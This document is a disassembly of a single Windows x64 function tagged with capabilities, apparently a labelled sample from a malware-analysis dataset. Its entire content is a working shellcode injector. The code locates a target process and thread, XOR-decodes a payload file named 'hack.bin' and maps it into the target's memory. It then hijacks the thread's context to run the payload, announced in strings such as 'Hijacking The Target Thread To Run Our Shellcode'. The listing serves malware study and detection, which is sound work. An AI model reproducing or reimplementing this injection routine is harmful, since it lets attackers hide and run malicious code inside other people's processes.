Function at 0x1400010d0
Capabilities:
Encode data using xor
Enumerate threads
Get file size
Hijack thread execution
Read file on windows
Resume thread
Suspend thread

Disassembly:
push rbx
sub rsp, 0x580
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov rbx, rdx
cmp ecx, 2
jge 0x14000110c
mov rdx, qword [rdx]
lea rcx, str.____Usage_:___s___Process_Name___n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400011ee
mov rdx, qword [rdx + 8]
lea rcx, str._i__Searching_For_Process_Id_Of___s__...
mov qword [rsp + 0x590], rbp
xor ebp, ebp
mov qword [rsp + 0x5a0], rsi
mov esi, ebp
mov qword [rsp + 0x5a8], rdi
mov edi, ebp
mov qword [rsp + 0x578], r12
mov r12d, ebp
mov qword [rsp + 0x570], r13
mov qword [rsp + 0x568], r14
mov qword [rsp + 0x560], r15
mov r15d, ebp
call fcn.140001010
mov r14, qword [rbx + 8]
lea rcx, str.NTDLL.DLL
mov dword [rsp + 0x44], ebp
mov dword [rsp + 0x70], ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x140001207
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d_n
call fcn.140001070
lea rcx, str.____Process_is_Not_Found__n
call fcn.140001070
mov eax, 0xffffffff
mov r14, qword [rsp + 0x568]
mov r13, qword [rsp + 0x570]
mov r12, qword [rsp + 0x578]
mov rdi, qword [rsp + 0x5a8]
mov rsi, qword [rsp + 0x5a0]
mov rbp, qword [rsp + 0x590]
mov r15, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.140001850
add rsp, 0x580
pop rbx
ret
xor edx, edx
lea r9, [rsp + 0x44]
xor r8d, r8d
lea ecx, [rdx + 5]
call rbp
mov ebx, dword [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x14000124d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
jmp 0x1400011a0
mov r8d, dword [rsp + 0x44]
lea r9, [rsp + 0x70]
mov rdx, rax
mov ecx, 5
mov r13, rax
call rbp
test eax, eax
je 0x140001276
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_Failed_With_Error_:_0x_0.8X__n
jmp 0x1400011a0
cmp word [rbx + 0x38], si
je 0x1400012a8
mov rax, qword [rbx + 0x40]
mov r8, r14
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400012a4
add rax, 2
test ecx, ecx
jne 0x140001290
test edx, edx
je 0x1400012b3
mov eax, dword [rbx]
test eax, eax
je 0x1400012c9
add rbx, rax
jmp 0x140001276
mov edi, dword [rbx + 0x50]
xor edx, edx
mov r8d, edi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x1400011a5
test r12, r12
je 0x1400011a5
lea rcx, str.___DONE__n
call fcn.140001070
mov edx, edi
lea rcx, str.___Found_Target_Process_Pid:__d__n
call fcn.140001070
lea rcx, str._i__Searching_For_A_Thread_Under_The_Target_Process_...__n
call fcn.140001070
xor edx, edx
mov dword [rsp + 0x50], 0x1c
xorps xmm0, xmm0
xor r13d, r13d
movdqu xmmword [rsp + 0x54], xmm0
mov qword [rsp + 0x64], r13
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001357
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____CreateToolhelp32Snapshot_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x1400013c8
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x140001378
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____Thread32First_Failed_With_Error_:__d__n
jmp 0x1400013bc
cmp dword [rsp + 0x5c], edi
je 0x140001392
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001378
jmp 0x1400013c3
mov r15d, dword [rsp + 0x58]
xor edx, edx
mov r8d, r15d
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
jne 0x1400013c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____OpenThread_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001070
test rbx, rbx
je 0x1400013d1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140001831
test rsi, rsi
je 0x140001831
mov edx, r15d
lea rcx, str._t_i__Found_Target_Thread_Of_Id:__d__n
call fcn.140001070
lea rcx, str.___DONE__n_n
call fcn.140001070
mov r8d, 2
mov qword [rsp + 0x48], r13
lea rdx, [rsp + 0x48]
lea rcx, str.hack.bin
call qword [sym.imp.KERNEL32.dll_OpenFile]
movsxd rbx, eax
xor edx, edx
mov rcx, rbx
mov rbp, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rdi, eax
test ebx, ebx
jne 0x14000144d
lea rcx, [0x140003650]
call fcn.140001070
mov ecx, r13d
mov r10d, r13d
mov rbx, r13
jmp 0x140001570
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001483
lea rcx, [0x140003660]
call fcn.140001070
mov ecx, r13d
mov r10d, r13d
mov rbx, r13
jmp 0x140001570
lea r9, [rsp + 0x74]
mov qword [rsp + 0x20], r13
mov r8d, edi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400014c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140003670]
call fcn.140001070
mov ecx, r13d
mov r10d, r13d
mov rbx, r13
jmp 0x140001570
mov edx, dword [rsp + 0x74]
lea rcx, [0x140003680]
call fcn.140001070
mov r10d, edi
mov ecx, r13d
test edi, edi
jle 0x140001570
cmp edi, 0x40
jb 0x140001570
mov eax, edi
and eax, 0x8000003f
jge 0x1400014f9
dec eax
or eax, 0xffffffc0
inc eax
movdqa xmm2, xmmword [str.________________]
lea rdx, [rbx + 0x20]
sub edi, eax
mov r8, 0xffffffffffffffe0
movsxd r9, edi
sub r8, rbx
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rdx - 0x20]
lea rdx, [rdx + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
lea rax, [rdx + r8]
pxor xmm1, xmm0
movdqu xmmword [rdx - 0x60], xmm1
movdqu xmm0, xmmword [rdx - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rdx - 0x50], xmm0
movdqu xmm1, xmmword [rdx - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rdx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rdx - 0x30], xmm1
cmp rax, r9
jl 0x140001520
movsxd rdx, ecx
movsxd r14, r10d
cmp rdx, r14
jge 0x14000159d
mov rcx, r14
lea rax, [rdx + rbx]
sub rcx, rdx
nop word [rax + rax]
xor byte [rax], 0x5b
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001590
lea rcx, str._i__Injecting_Target_Process_...__n
call fcn.140001070
xor r9d, r9d
mov qword [rsp + 0x28], r13
xor edx, edx
mov dword [rsp + 0x20], 0x1d0
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdi, rax
test rax, rax
jne 0x1400015f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____CreateFileMapping_Failed_With_Error_:__d__n
call fcn.140001070
lea rcx, str.____FAILED__n
jmp 0x1400011ac
xor r9d, r9d
mov qword [rsp + 0x20], 0x1d0
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbp, rax
test rax, rax
jne 0x140001627
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____MapViewOfFile_Failed_With_Error_:__d__n
jmp 0x1400016bf
mov rdx, rbp
lea rcx, str._t___Local_Mapping_Address_:_0x_p__n
call fcn.140001070
lea rcx, str._t___Press__Enter__To_Write_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rdx, rbp
lea rcx, str._t_i__Copying_Payload_To_0x_p_...
call fcn.140001070
mov r8, r14
mov rdx, rbx
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
lea rcx, str.___DONE__n
call fcn.140001070
mov dword [rsp + 0x38], 0xffffffff
xor r9d, r9d
mov dword [rsp + 0x30], 0x40
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov rdx, r12
mov rcx, rdi
mov qword [rsp + 0x20], r13
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov r14, rax
test rax, rax
jne 0x1400016db
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____MapViewOfFile2_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001070
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____FAILED__n
jmp 0x1400011ac
mov rdx, r14
lea rcx, str._t___Remote_Mapping_Address_:_0x_p__n
call fcn.140001070
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___DONE__n
call fcn.140001070
lea rcx, str.___Press__Enter__To_Decrypt_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Hijacking_The_Target_Thread_To_Run_Our_Shellcode_...__n
call fcn.140001070
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
mov dword [rsp + 0xb0], 0x10001f
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001776
lea rbx, str._t____GetThreadContext_Failed_With_Error_:__d__n
jmp 0x14000179a
lea rdx, [rsp + 0x80]
mov qword [rsp + 0x178], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400017af
lea rbx, str._t____SetThreadContext_Failed_With_Error_:__d__n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001070
jmp 0x1400011b1
lea rcx, str._t___Press__Enter__To_Run_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
test rbx, rbx
je 0x140001800
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_UnmapViewOfFile2]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400011b6
lea rcx, str.____No_Thread_is_Found__n
jmp 0x1400011ac